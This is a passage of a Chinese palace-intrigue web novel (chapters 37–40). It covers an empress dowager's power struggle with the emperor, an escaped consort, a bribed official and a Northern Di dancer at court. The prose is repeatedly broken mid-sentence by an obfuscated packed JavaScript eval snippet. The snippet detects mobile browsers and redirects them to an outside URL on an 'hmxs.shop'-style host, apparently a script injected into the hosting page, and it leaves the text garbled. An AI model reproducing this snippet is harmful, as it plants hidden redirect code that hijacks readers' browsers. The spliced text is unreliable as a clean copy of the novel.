“我告诉你我为什么会到冷宫。因为先帝昏聩,而我又发了痴心想做班昭那样的贤妃。我忘了先父嘱咐的,男人可以把臣子比作妃子,但女人不能把妃子比作臣子。在后宫这样一个曲意逢迎的地方,我输得一塌糊涂。现在我做了太后,以为终于可以女子之身,实现自己的满腔抱负治国理政。可是,我遇到了一个跟他父亲一样胸无大志的君王,我的学生,我曾经的丈夫!” 皇甫澍被她扯开的手悬在半空中,不知所措。 他讪讪道: “你如果真的想治国,我就把我的位子让给你吧。” 娄庄姬瞪大了眼睛,道: “荒唐。” 皇甫澍眼睛愣愣的,嘴角扬起一个苦涩的弧度。 “我让你失望了,不是吗?” 娄庄姬察觉到自己话说重了,连忙伸出手托住他的脸,带着歉意道: “我口不择言了。你年轻英明,只是太过于守前人之成。你不要觉得我只是让你一个人背这个骂名,这是件大事,我们要携手一起做,就像当年我们在幽州共同御敌一样。有什么后世的恶名,我和你一起背负,我们同甘共苦。何况,千百年后,总有人会理解我们的。我已经让卢异写下我们的目的和做法,我们不会承受不公太久。” 皇甫澍并未被她打动,相反,表情愈加凄楚。 “你真是能言善辩。作为你的学生,我惭愧没有学到这一点,就草草出师。” 他摇摇头,娄庄姬的手顺势落下,垂在身侧。 他忽然听出了什么,问道: “这些想法,是卢异告诉你的吗?” “千万人中,只有他与我想法一致。” “这样啊,我不如他。” 他不再留恋,也不行礼,悠悠转身就要离开。娄庄姬在背后叫住他,问道: “你想明白了吗?支持我们吗?” 皇甫澍回头,苦笑摇头道: “朕永远不会支持。只要朕还有能力,就会一直护佑苍生。你们想做什么都可以,只要能越过朕、让朕力不能及,就去做吧,但你们若是本事不及朕,就谁也别怪谁。” 他离去了。独留娄庄姬一人站在殿内,惶惶。 莲蕴低着头走进来,见她神色悲痛,眼角挂着干涸的泪痕,惴惴地禀告道: “娘娘,下午可是按原本安排接见卢府尹?” 娄庄姬眨了一下眼,回过神来,强行用镇定的语气回答。她用手撑着椅子扶手坐下,身体一下子像泄了气一般疲倦。 卢异下午来到上阳宫时,她已经整理好情绪,神色高傲,衣着光鲜,厚厚的脂粉掩盖了一切疲倦,上挑的眼妆使她的凤眼看起来格外有神。 她注意到卢异崭新的绯色袍子,金线刺绣,针脚细腻,看起来价值不菲。他本来就丰神俊朗。鬓如点漆,这衣裳更映衬得他气质雍容不凡。她先调笑道: “看来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17001205|193489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你最近在官场上混得不错,这衣服做的华丽,看来是新得了好布料。” 卢异刻意地展开双臂,抖了抖宽大的袖子。 梁朝人穿衣喜宽袍大袖,罩衫层层,方显出端庄大气。女子时兴在头上簪鲜花,香气扑鼻又清新风雅。娄庄姬此时头上簪的白花也不是纸做的,而是现采的梨花,幽香隐约。 “先敬罗衣后敬人。做官的老爷们,身上的衣服比他们的头脑更值钱,微臣要融入他们,自然打扮上不能落后。” “你倒学的很快。” “由俭入奢易。” 娄庄姬敲打他一下:“这些外在的东西可以学,内里别被他们带坏了。” 卢异咧嘴一笑,道:“天天去赴宴吃席,三五杯烈酒下肚,再清白的心肠都浊了。” 娄庄姬闻言没有笑,眯着眼睛盯着他。他一努嘴,不说话了。 “本宫问你,在史书上,你要如何写自己的所作所为。” “当然是如实记述,把微臣的判决记录下来,百姓的反应记录下来。” “有什么议论?” “微臣才只做了这一件事,还没有到写议论的时候。” “怕是你也只能做成这一件事了。”娄庄姬长叹道。 卢异警觉道:“娘娘何意?莫非,陛下不认同您的想法吗?” 她点头。 “也是情理之中。”他并未有气馁之色,“那太后您准备放弃了吗?” “当然不,”她果断,“皇帝不同意,我们就绕过他行事。” “娘娘有这样的决心,微臣就放心了。” “我们刻不容缓。你觉得下一步该做什么?” “满足了官员们的胃口,还有一帮人伸长脖子嗷嗷待哺呢。” “哪些人?” “皇商们。他们正为土地价格太高而犯愁。” “他们希望宫里出面,把价格压下来点?" “正是。” “可没有正当理由,不能无缘无故降低田价呀。” “此事可徐图之,不能操之过急。何况还要想办法过陛下那一关。” “要劳烦卢大人多多费心,寻找时机了。” 她将卢异留下来,饮杯茶水,聊聊天,谈谈书写的怎么样了,还有关于卢异家里的一些琐事。卢异一张嘴巴毒辣,语言犀利,常常把对坐的人刺红了脸。但娄庄姬听着却觉得别有一番幽默,他谈及的民间趣事逸闻,不是摸爬滚打半辈子的人讲不出来,她觉得很新鲜,催他多讲一些。卢异嘴皮子就没有停下过,讲得口干舌燥,对她请饶说: “贵人听小民的故事觉得有趣,小民讲起来可都是辛酸。“ “本宫正是要多听一听你们的辛酸,警醒自己,莫忘大业。” “听有什么用?您得感受一下才记忆深刻。”卢异不顾礼节地坏笑。 “本宫年轻时,曾在冷宫度过生不如死的七年。天下辛酸,岂止百种,若每一种都要切身体会,这人生可真是苦不堪言。” 她现在已经可以面不改色讲出冷宫那段凄苦的日子了。恶劣的环境、幽闭的痛苦,慢慢地从回忆里淡去。除了每年冬天都会复发的冻疮,和因为低头打络子落下的头晕眼花的毛病,冷宫在她身上留下的痕迹已经不多了。 但,她突然想起多年前涂寿华在深夜杀掉疯妃后的一句话。 “我杀她是在救她。” 她今日的所作所为,又为这句她当时难以理解的话做了注脚。她不禁感慨命运的巧合。 就在这时,莲蕴紧张地走进来,在她耳边说道: “娘娘,不好了,罪妃袁氏不见了。” 38. 剜肉补疮(八) 卢异正喝着茶,一抬头看见娄庄姬脸色铁青,一旁的女官莲蕴满头是汗。他问道: “太后,发生了什么事?” 娄庄姬没有回头看他,说: “宫里的事,你不便多问。今天话也说的差不多了,你回去吧。” 卢异便知趣地离开。她一走,娄庄姬就一撂茶杯,很不悦地道: “怎么,侍卫层层把守,还能让她跑了?” “奴婢也奇怪。就问了那些人有没有玩忽职守,他们都说没有。” “这样问肯定问不出来,值班的侍卫都抓起来,好好关几天。人溜出去,口子必然出在他们身上,必须从他们嘴里撬出线索来。” 莲蕴领命。 过了几天,终于有一个侍卫屈打成招,坦白说袁彩娥是他放的。袁彩娥给了他许多金银细软,两个人里应外合,趁着黑夜,他支开其它侍卫,后面她是怎么找到办法出宫的,他就不知道了。 娄庄姬怒不可遏,命令搜查皇宫,宫外发布通缉令,务必要把袁彩娥抓回来。远在成都的秦王府那儿,她也命守军也加看管。她想,袁彩娥最有可能去的地方,就是她儿子那儿。这个老对手还真是一刻不肯安歇。 一个月过去了,还是没有她的音信。秦王府虽然终日诚惶诚恐,皇甫诚每日在府门口张望,但袁彩娥最终还是没去。她就像一滴水投入江海一样,渺无音讯了。 时值夏日,娄庄姬还为这事搅得神魂不安。本来的避暑之行,只有皇帝和皇后两个人去。 狄鸣岐纳闷,皇帝与太后原本恨不得终日黏在一起,关系比亲母子更亲。最近一个月来,皇帝连晨昏定省都不去了,提到太后,更是神情厌烦、闪烁其词,看来二人是闹了矛盾。 临出发前,她收到哥哥狄平的一封家书,嘱咐她把握好时机,讨得陛下欢心。她折起信纸,脸红着,心里却是无限的迷惘。 皇甫澍在避暑行宫时,竟也破天荒地对她态度亲昵。赐膳赐宝不值一提,一日里少不了四五次嘘寒问暖,晚上也让她在一旁侍候笔墨。有一次,她大着胆子为他按摩肩膀,他竟抚上了她的手。他的手很凉,让她全身一颤。 她在火烛的光晕下偷偷抬眼看君王的眉目。虽然他神情疲倦,但仍掩不住剑眉星目的光彩。因连日辛劳在眼下形成的细纹更使他的面容增添了一份沉稳庄严。 不过,和太后一点都不像,果然是养母子。她想。 “在看朕的脸吗?” 她吓了一跳,这才意识到皇甫澍正含笑盯着她。 “是。” “别紧张,朕是看你研墨的动作停了,一抬头,却见你看得出神。” “臣妾冒犯陛下了。” “谈何冒犯啊。”皇甫澍笑意渐浓,站起身来,抬起一只手臂悬在空中。顿了一下,竟将她搂在怀里。 狄鸣岐脸像火烧一样,一动不动。这是皇帝第一次有如此亲密的举动。 皇甫澍用手捻起她的下巴,看着她那张不算美丽,温驯如羊羔的脸。他见她眉目传情,不知道此刻自己的双眼,是否也流露出了情感? 二人凝神相望半晌,却没有下一步动作。皇甫澍松开了手,又是近日里那一副恹恹的神色。 “朕以前也在火烛下凝视过一个人。” “是谁呢?” “是···朕做燕王时,在幽州的侍妾。” 她低眉。 “就是秦妃吗?” 皇甫澍为了圆侍妾的谎,特意给了追封。公主之母,封为秦妃。从此侍妾秦氏在人间不留痕迹,无从追溯了。 “陛下对秦妃情深意重,真是令臣妾艳羡。” 她语调中有酸楚,皇甫澍一时也不知如何作答。只是坐回原位,默然道: “研墨吧。” 纵使她温柔恭顺,到底不似旧人。 宫里的贵人们忧心忡忡,却不影响士兵刘敖办喜事。 他选了个黄道吉日,迎新娘子过门。由于他得了卢异的厚礼资助,婚礼办的盛大热闹,锣鼓喧天、花红软轿,不输京城的富户。四周的邻居看了,都羡慕他与卢府尹结下了患难之交,如今自然是一人得道鸡犬升天。 作为贵宾出席的卢异红光满面,一走进宴席,便有一群人乌泱泱地挤到他身边,献礼讨好,冲天的油汗气味让他差点窒息。有人扯住他的袍子、踩到了他的衣角,用油腻的手盘他的手。他难以招架,还得是身着红衣的新郎出面,撞开人群,把他拉了出来。 “左邻右舍都是些市井小民,府尹大人别跟他们一般计较。”刘敖把他领到内堂前排的一张方桌上,周围坐的是新郎的上司,都是在监狱有些头脸的小官,虽然也谄媚,但更懂得礼节。 他与卢异寒暄几句,便又到院子里招待宾客。卢异与桌上旁人推杯换盏,不一会儿就觉得无趣,人家问他什么,他只是愣神。 突然,有人在背后用手指戳了戳他的肩窝。他扭头一看,是一张他虽记不起名字,但十分面熟的脸。 那个人年纪轻,看着还不到二十岁,淡眉长眼,面如冠玉。脸上堆着笑,道; “卢先生在上,请受学生一拜。” 卢异恍然想起,这人是自己曾经的学生,家里是江南有名的做棋子的匠人,附庸风雅,也颇有积蓄,有闲钱供子弟去上私塾。他叫齐谦,又因为好财,得了个诨名“棋钱”。很多年前他就出师了,不想会在今日这里重逢。 “齐谦?你怎么会来京城?” 他有些不好意思地笑,道:“学生想来京城,投奔朝中重臣,做个门客。却没想到屡屡遭拒,只得滞留在附近。” 梁朝的确有重臣引荐授予官职的传统,不过家里没有过硬关系的人想获得有声望的名人青睐,基本上痴人说梦。卢异也曾尝试过这条路,在无数次被重重大门拒绝后也心灰意冷了。 “这个路子不好走,你有科举资格,就应该好好准备科举。” “学生若是科举不中第,岂不白白荒废三年。学生自负满腹经纶,只愿尽早为国效力,不愿做一腐儒,蹉跎青春。” 卢异轻笑。 “天下不乏人有你这样的想法,但捷径没那么好走。” “师父如今可是身居高位了,就不能传授学生一点?学生自愿受教。” “学我的路?那简单,你先去造反,若能侥幸活下来,就在案堂上大放厥词,让陛下注意到你。若运气好,就能一举翻身,若运气不好就掉脑袋。富贵险中求,莫过于是。” 齐谦脸色发白,桌上的其他人也尴尬地咳嗽了几声。 “先生不要取笑。学生诚意相问,也愿先生倾囊相授。” 说着,他鬼祟地从袖口掉出一个荷包,趁着所有人不注意塞到卢异袖子里。他低声在他耳边说: “学生一点心意,若先生愿襄助,此后家里的生意,愿分与先生二成,良田美宅更是不在话下。” 卢异懒懒地抬眼看这个乳臭未干却已学会了油腔滑调的小子,心里嗤笑,自己贪污受贿的名声竟然已经传开了,真是好事不出门,坏事传千里。他不动声色地收下了。齐谦见状,笑容灿烂。 “那便不叨扰先生了,还望先生为学生多多挂心。” 齐谦兴高采烈地走了,不知道卢异心里盘算了几道弯。他一边玩着袖子里鼓鼓囊囊的荷包,一边想,帮他一把 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17005758|193489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,给他一个有名无职的闲官做做,按照他目前的能力倒也不难。况且还能得齐家产业的分红,他正发愁无法获知商人的利益命脉何在呢。于是他主意一定,脸上浮现一个自信的笑。 一抬眼,桌上的一帮官员望着他的眼神更多了几分欲语还休的深意。 他笑,举杯道:“大喜的日子,痛饮!” 没过多久,齐谦就走马上任蓝田县长史。这是个好缺,蓝田县产玉,地方富庶,事情又少。在京城附近,随时等待晋升的机会。齐谦对自己的老师自然是感激涕零,临走前又亲自上门送了好几大箱礼品。 卢异也有了正当理由参与齐家生意。齐家制作棋子的手艺可谓天下一绝,不仅宫里用的赏玩的金银棋子、实用的象牙、玛瑙、犀角的棋子是他们家供应的,近年他们还打算扩大生意盘,大量生产民间用的木棋子。卢异道: “做这些岂不白费你们的工艺?” 齐谦摆手道: “我们的做工好,不在乎原材料是否金贵。把我们的棋子跟别的摆在一起,一眼就能分辨出来。” “这样说,别的工匠都比不过你们,那你们可是不让别人做生意了。” “欸,他们可以到我们手下做帮工嘛。我们扩大作坊,正缺人呢。” 卢异若有所思。 他转头禀告娄庄姬,他已经想到法子压下田价了。只要让种地的百姓离开土地,去商户底下做工,土地无人看管,自然价格就会下降。正好近年来,各行商人扩张生意如火如荼,只是因为找不到人手,许多进度不得已拖延。若朝廷出面,鼓励更多人做工,既能满足商人的胃口,皇商们也能得到土地,两全其美。 娄庄姬答应了。可皇甫澍一听到这个消息,即刻从避暑行宫写信质问: “哪有利诱百姓离开土地的道理?朕决不许。” 娄庄姬不理会。可没过几日,以狄平为首的群臣就上书劝阻她不要这么做。还有人假装把要呈给皇帝的奏章不小心呈给了她,话里话外指责后宫不得干政。 娄庄姬一惊,在她不知道的时候,皇甫澍已经调转矛头,和狄平一党站在一起,一同攻伐她了。 她给皇甫澍写信,当然是密信: “狄平曾经想要辱没我,挑拨离间,你怎么能与他亲近呢?” 皇甫澍的回信则一板一眼的客套: “朕没有受他挑拨,他是国舅,朕自然亲近。有钟爱的臣子有什么奇怪?你不是也对卢异喜欢得紧吗?” 后面那句已经是明晃晃的讽刺了。娄庄姬心乱如麻,不光是为了国事。 狄平不久前追求她却被她戏弄,怀恨在心。皇甫澍与他交好,不知二人背后会怎样贬损她、嘲笑她。他们俩会不会想着自己不配为太后,而齐力把自己从苦心经营的高位上拽下来? 这种想法让她惊疑不定,好几次卢异来见她,她总是露出心不在焉的表情。有一次,她走神了很久,反应过来时,卢异已经沉默半晌,双眼如深潭一般幽邃。 她看着卢异。 这个人敬仰、爱戴她,两人有时还会开一些超出身份的玩笑。她有一种想向他倾诉的冲动,话到舌尖却还是停住,只有眼眶因为激动而红了。 当时殿内侍候的人都在外面守着,卢异做了一件很大胆放肆的事。 “若太后不弃,可借臣肩膀一用。” 娄庄姬虽然惊讶,但没有拒绝。 头倚在卢异瘦削的肩上,她的泪水沾湿了他一大块衣裳。卢异感受到了她的悲伤,却并不知道其源头。 “为什么,我们之间除了虚假礼貌的言辞,和剑拔弩张的氛围之外,什么都不剩了呢?” 39. 塞外残梦(一) 兴皇三年,北狄持续了三年的单于之争终于落下帷幕。 北狄大王子耶律雄得人心众望,击败了二王子耶律信。耶律信退守一隅,发信请求梁朝出兵相助他逆转颓势,夺回王位。 紧跟着他的使者而来的是大王子的使者。大王子许诺继任单于之位后与梁朝再不相争,绝不起兵扰乱边境安宁。为表示诚意,愿意献出边邑三城,向梁朝称臣。 大梁朝廷接受了大王子的示好,宣布他的正统,同时拒绝了出兵援助二王子。二王子走投无路,部曲四散,他本人为了避祸逃窜,不知所踪。 北狄战乱结束,新单于着手发展民生、重建昔日家园之外,也没有忘记向强大于自己的梁朝献礼。梁朝君主皇甫澍的万寿节就在本月,新单于精心择选厚礼,派遣一大批使者,浩浩荡荡赴往京城为他祝寿。 万寿节当晚,宫内张灯结彩,宛如瑶池仙境。宫人们都换上了新衣裳,个个光鲜亮丽,面带喜气,手上的琉璃盘上或盛着珍馐瓜果,或盛着金砖银锭,轻移莲步飘过亭台水榭,如同仙子。 仙子般的宫人们又簇拥着衣冠华贵的皇帝、皇后、太后落座宴席,宗亲高官们早已在席上候着了,此时一起站起,向皇帝贺寿。 坐在最靠近上座的左右两边位置的是丞相狄平和尚书仆射卢异。席间两个人目光常常交汇,看似和睦融洽,实则夹枪带棒,不时射出寒光。 朝野皆知,狄平是皇帝的股肱,卢异是太后的亲信。皇帝与太后久不和,狄丞相和卢尚书也针锋相对。 皇帝爱民如子,得民心;太后袒护官员,受到众官拥戴。这两股势力互不相让,各自成了气候。 看座上的皇帝与太后,虽然表面维持着皇家的体面客气,但言语之间冷冰冰的,那笑不是来自心底,却是做作出的和气。皇后她本来就性格木讷,夹在二人之中,更加不知该如何自处。 开宴了,大家的注意力都转移到蹁跹的舞者身上。高亢的音乐盖住了人语的吵嚷,许多争锋不得已而搁置。 梁朝的乐舞,大家翻来覆去看习惯了。他们真正期待的,是北狄使者带来的舞蹈班子。正襟危坐的中原人自然对穿着毛皮外套、身上有纹身的蛮夷之舞满怀兴趣,尤其是听说他们还要光着膀子、裸露上身之后,这些受过良好教育的正经人一边害羞地捂着脸骂“粗俗”,一边心扑通跳着想象。 先上场的是北狄的舞女,她们穿着缝上毛皮的舞裙,从脚脖子一直护到下巴,身上的饰品是五色的石头,随着她们的动作噼啪作响。她们的姿态很豪爽开放,手臂就像熊一样有力,与以弱柳扶风为美的梁朝女子完全不同。 娄庄姬想起,在幽州时曾见过太守夫人带着家里的仆从跳这样的舞,虽然比不上今晚这支的娴熟,但豪气是一点不输。幽州六年的风雪在故都的温暖下本来已经融化,如今却又在她心里飘飞起来了。她偷偷斜眼瞟皇甫澍,他一手支着头,双眼直视前方,若有所思。 舞女们在沸腾的掌声中退下。皇甫澍对使者们赞扬道: “贵国的舞蹈真是让我们大开眼界啊。” 使者们行礼,说,他们不光女子会舞,男子也以能歌善舞为荣。 “看来你们还有节目,那还等什么?快让他们上来吧。” 一群裸露上身的异族大汉雄赳赳地走上大殿。他们身上扑面而来一股浓重的?腥味,还有沙尘和钝刀的气息,似乎他们脚下是踩着草原的泥土,而不是光滑的瓷砖。 领舞带着样子唬人的狼面具,头发分成很多条辫子,搭在胸前。他裸露出来的健硕身体上涂满了油,肌肤呈有光泽的古铜色,在烛火下熠熠生辉,显得他肌肉饱满、猿背蜂腰,一下子吸引了在场所有人的目光。 女眷们面色通红,以扇掩面,只露出一双滴溜溜的眼睛专注地看。瘦弱的官员们心说不过是粗俗野人,却难以移开目光,暗自艳羡。 座上的皇帝和太后看得津津有味。北狄舞蹈多取自于他们日常的捕猎生活。他们一眼看出这些夸张的舞蹈在代表什么。 这是在摔跤,这是在射鹰,这是在骑马,这是在饮酒。 他们的臂膀在空中呼呼挥舞着,就像北狄的大雕从人们的头顶不断飞过。 舞到紧要精彩处,座上的贵人忘却了礼仪,拍掌惊叫道:“好!” 一曲舞完,舞者们早已汗流浃背,尤其是领舞,他的皮肤淌着汗,亮晶晶的。 他摘下面具,露出一张五官深邃的俊脸。他看着很年轻,下巴才刚刚冒出青色的柔软胡茬,脸部的线条一看就是被风霜雕刻而成,英武勇猛。他的眼睛是金棕色的,闪烁着夺目的光芒,望向座位的最上方,太后的位置。 “小人听说陛下为燕王时曾戍边幽州,今日特地献上此舞,赞颂陛下在军时的英武无双!” 皇甫澍抚掌一笑。 那人忽而伸出手,向天上洒了一把东西。众人还未反应过来,只见雪花似的颗粒纷纷扬扬落下,天气正热,屋内人更是面红耳赤,哪里来的雪呢? “这是什么妖术?”人们喃喃道。 “小人为陛下带来幽州的雪。”领舞粲然一笑。 殿内一片喝彩,皇甫澍乐了,道:“瑞雪兆丰年,你倒是给朕送了一个好彩头。你叫什么名字?” “小人名叫阿斯布日,在我们的语言里,意思是‘善良’。” “好名字。”娄庄姬试着用手接住雪籽,雪籽却总在触碰的前一秒融化。 阿斯布日眨了眨眼,对着她说: “太后娘娘,听说您也在幽州住过,小人还有一礼,是专门献给您的。” 娄庄姬惊讶,道:“什么礼?” 阿斯布日取下自己腰上系着的毛皮,扯开毛皮的针脚,掏来掏去。在众人的屏息凝神中,他露出一个狡黠的表情,慢慢地将手拿出,手上托住了一只洁白如雪的白狐,体态娇小,惹人怜爱。 他走上前几步,跪下,高高捧起那只嘤嘤叫的白狐,大声道: “小人不才,施了一个拙劣的把戏,博诸位一笑。愿将此物献给太后,以示两国交好和平,望太后笑纳!“ 娄庄姬惊讶得嘴都合不拢了,连忙让身旁的莲蕴去把白狐抱上来。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17011761|193489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 这个小生灵在她怀里扭动着,它毛发柔顺,喜欢蹭人的手,逗得她咯咯笑。 “你真是有心,应该重赏。”她高兴地说。 “阿斯布日不在乎什么赏赐,只愿博得陛下、太后天颜愉悦。” 那几个北狄使者这时候走到他旁边来,道: “陛下、娘娘若是喜欢这个班子,何不将他们留在身边,随时取乐,也可表示二国交好,其乐融融啊!” 皇甫澍看了一眼娄庄姬,她仍抱着白狐,爱不释手,没有看他。他想了想,答应了。 阿斯布日喜不自胜,笑得露出了一口白牙,五体投地跪谢。 狄平轻哼了一声,卢异不屑地转过头去,嘟哝道:“奇技淫巧。” 阿斯布日像一条忠实的猎犬,片刻不离自己的主人。在宫里,只要能看到太后,就能看到阿斯布日雪白的牙齿和毛躁的发辫。 不光是太后,太后宫里的人都很喜欢这个爽朗热情的北狄青年。他会变戏法,会用自己的匕首划开牲畜的腹部,带着宫人们在院子里烟熏火燎地烤肉——有太后的默许。他一边大嚼特嚼油滋滋的烤肉,一边比划着讲述北狄塞外的风光。 他说自己的阿爸阿妈只是普通的牧民,他是跟着四处巡演的游荡艺人学的一身本事。问他,阿斯布日,你们家住在哪儿呢?他说就住在幽州与北狄交界的一块贫瘠的草原上,他也不知道叫什么名字。 他口中的那块草原像秃子头上的瘢痕,稀疏干黄,草很矮,牛羊经常吃不饱。他们家经常迁徙,可爹娘腿脚不便,走不远,于是他们转转悠悠,从来没有离开过那块没有营养的土地。 阿斯布日去做艺人之前,很郑重地告诉父母,他要去找一块更肥沃的土地,而不是像他们一样困守在这里。父母舍不得他,抱着他嗷嗷哭,却还是收拾行装送走了他,把最肥的一头羊宰了,肉腌好给他做干粮。 他的故事感动了一片人,包括太后也红了眼睛。 他将最肥的羊腿撕下来,用油纸包好,恭恭敬敬地递给太后。道: “阿斯布日已经来到了最肥沃的土地。” 娄庄姬看着他大大的纯真的眼睛,笑着接过了他的羊腿,又开始犯难该怎么不失礼节地下口。 阿斯布日见状,又拿来一个盘子,帮她把羊腿用小刀割成细细的肉条。莲蕴道:“阿斯布日真贴心。” 他们笑闹着说话,卢异进门来都没人注意。他冷哼一声,像根柱子一样插在门口,一言不发。 娄庄姬接过盘子,一抬头,看见卢异鄙夷的目光,竟忘乎所以地唤他过来。 “卢尚书,你也来尝尝?” 卢异走近一点,故意踩了一脚阿斯布日垂落在地上的衣服,对着黑烟皱眉,道: “娘娘,臣是来议事的,不是来玩乐的。若您现在不方便,臣就择日再来。不过,”他斜睨了握着匕首的阿斯布日一眼,“就怕娘娘您一直没有时间。” “哪儿的话,”娄庄姬站起身,阿斯布日的眼光紧紧黏在她身上,“你要说正事,本宫挤也得挤出时间来。进屋说话吧。” 40. 塞外残梦(二) 卢异进殿时,手像打苍蝇一样在空中挥舞。他在上阳宫不拘小节,但也没有这样大动作过。娄庄姬看了就笑: “你在做什么?” 卢异佯作惊讶。 “太后没有闻出来吗?臣在驱散空气中的羊膻味。” 娄庄姬向门外望去,阿斯布日还在与宫人们叽叽喳喳。她摇头道: “本宫这里只有熏香味儿,哪有什么膻味?看来你的鼻子骗了你。” 卢异冷哼,不再说话。 娄庄姬正坐在椅子上,等着他汇报正事。 “近日江南的丝绸织局做出了一种新的织布机,一天能织出的匹数增长了一倍,只是不如先前的做工精美。他们想多制造这种织布机,希望朝廷出资拨款。他们说,给皇家的贡品,还是原来的人工织成,绝对不敢马虎。多织出来的布匹,他们打算放到民间倾销。” “这样民间的小户不就没生意了?皇帝不会同意的,”她沉思,“那么还是从本宫的私库里拨钱,你去安排吧。” 卢异应下。他随后又讲了讲朝堂上的动态。狄平的门生大肆检举攻击他的门生,双方斗得不可开交。狄平如今因为妹妹做了皇后,为皇帝尽心尽力。他不断地扩张势力,想必都有皇帝的默许。他贪污受贿、购买私宅,却因把皇帝爱民的政策贯彻到底,得了一个好官的名声。 “还有一件事,最近民间有个叫神龙会的帮派闹得凶猛。他们贩卖私盐、藏匿兵器,却果如起名,神龙见首不见尾,官府怎么都抓不到。若是放任他们发展壮大,日后必成朝廷祸患。” 娄庄姬心里,对造反的人倒是没有什么仇视,她所认为的挽救国家的希望,就来自于这些民间不甘压迫的义士。 “你派人细细查问,先探清他们的底细,再做安排。” “是。” 娄庄姬有些疲倦,门外的欢声笑语恰到好处地响起来,她的目光从卢异身上游离了。 卢异轻咳一声道: “太后,北狄与我朝结盟不到半年,他们是真心是假意还未可知,您对他们还是稍加提防为好。” 娄庄姬不在乎地笑道: “本宫自然会提防他们的单于,可阿斯布日只是一个平民出身的伶人,防他做什么?” “就算如此,外男肆意在宫廷里出入,与宫人戏耍,到底不合规矩。” 娄庄姬瞪大了眼睛,露出一个玩味的表情。 “相安,竟然能从你嘴里听到不合规矩这几个字,太稀奇了。要论不守规矩,谁能比得上你啊。” 卢异在京中以狂放倨傲出名。主要的行为比如招待客人时,不论对方身份,只看他合不合自己心意。若是碰上一个话不投机的,他甩脸子比谁都快,聊不了几句就轰人走。狄平当年登门拜访时,备了一车的厚礼,衣冠整齐、态度热情。可卢异偏偏不拿正眼瞧他,狄平自讨没趣,愤愤地离开了。 若是如此,还不至于结仇。但卢异赶走了人,却把人家的礼品留下了。狄平讨要不回来,还被卢异嘲讽: “列位丞相,还舍不得这点财物吗?” 卢异做事不厚道,也不怕人骂。背后有太后撑腰,也奈何不了他。狄平吃了个哑巴亏,只得逢人便讽刺卢异的出身,在市井行伍之中,习得了一身无赖脾气,这种品行低劣的人,怎么能做到这么高的官位呢?都是因为长了一张白净的脸,讨太后喜欢。手段不正,可耻,可耻啊。 卢异听到后,不置一词,他从不掩饰自己的出身,自然不会因为听到这些辛辣话语就生气。 狂士。他喜欢听别人这样评价他。 而狂士现在督促别人应该讲规矩了,着实新鲜。 “臣不为其他,只希望太后不要沉溺于此人的奇技淫巧,贪图享乐,需要以大业为重。” “你的心思本宫明白。他不过是在本宫无聊时能解闷罢了,本宫自有分寸。” 卢异还是用疑虑的眼神望着她。 “不知陛下知道您与此人过于亲昵会有何想法,太后与伶人过于亲密,会引起众人不好的议论。” 娄庄姬苦笑。 “皇帝才不管这些呢。光是你我二人在前朝干的事,就足够他操心了。再加上,本宫的名声也不差多的议论来败坏了。” 卢异心下一沉。他与娄庄姬为了达成目的,在朝中拉帮结派、培养势力,又联络官商、肆意取财,在官场上一些正直的人看来,早已是牝鸡司晨、名声败坏了。他与太后关系不纯的谣言早已满天飞,二人清者自清,并不在意。但这样看,她的确不在乎再安上一条罪名了。 “臣多言了。” “无妨,本宫还是喜欢你有话直说的样子。在官场打磨几年,你也变得圆滑了不少。这不好。” 卢异点头,道: “太后说的是,随波浊流之中,臣有时也迷失了。幸好身上还有完成国公遗志的任务,每次书写史书时,臣就想着完书时,臣会如何评价自己。每到这个时候,臣就感到格外清醒,对自己将要做什么也更清晰了。” 娄庄姬触动地一笑。 “你写下去就好。” 她亲自送卢异出门,经过院子里的阿斯布日一帮人。卢异看他的眼神还是很不爽,阿斯布日埋着头,看起来有些发怵。 临走前,卢异突然站住了脚,低声说: “娘娘,于公臣就不多劝了,于私,臣还是要请您不要和他来往过近了。您若是图新鲜,在与他相处一段时间,就把他送出去吧。” 卢异说这话时,目不斜视,但明显带着试探和犹疑。他自己心里清楚,自己在做一番没有论据的劝告,所谓于私相劝,就是考验两人的感情的时候。若是感情深重,就能成功。这不是雄辩的时候,是以情动人的时候。 至于这模糊的情能不能上台面,又是另一回事了。 娄庄姬愣了一下,举止有些不自然。卢异也说不清,她到底是看穿了他的心思,单纯地惊讶,还是在做戏。 “相安,你的私心本宫知道了,不知你可否能体谅本宫的私心呢?” 她的话是带着笑说的,可给人的感觉却并不轻松。 “娘娘这是何意?” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 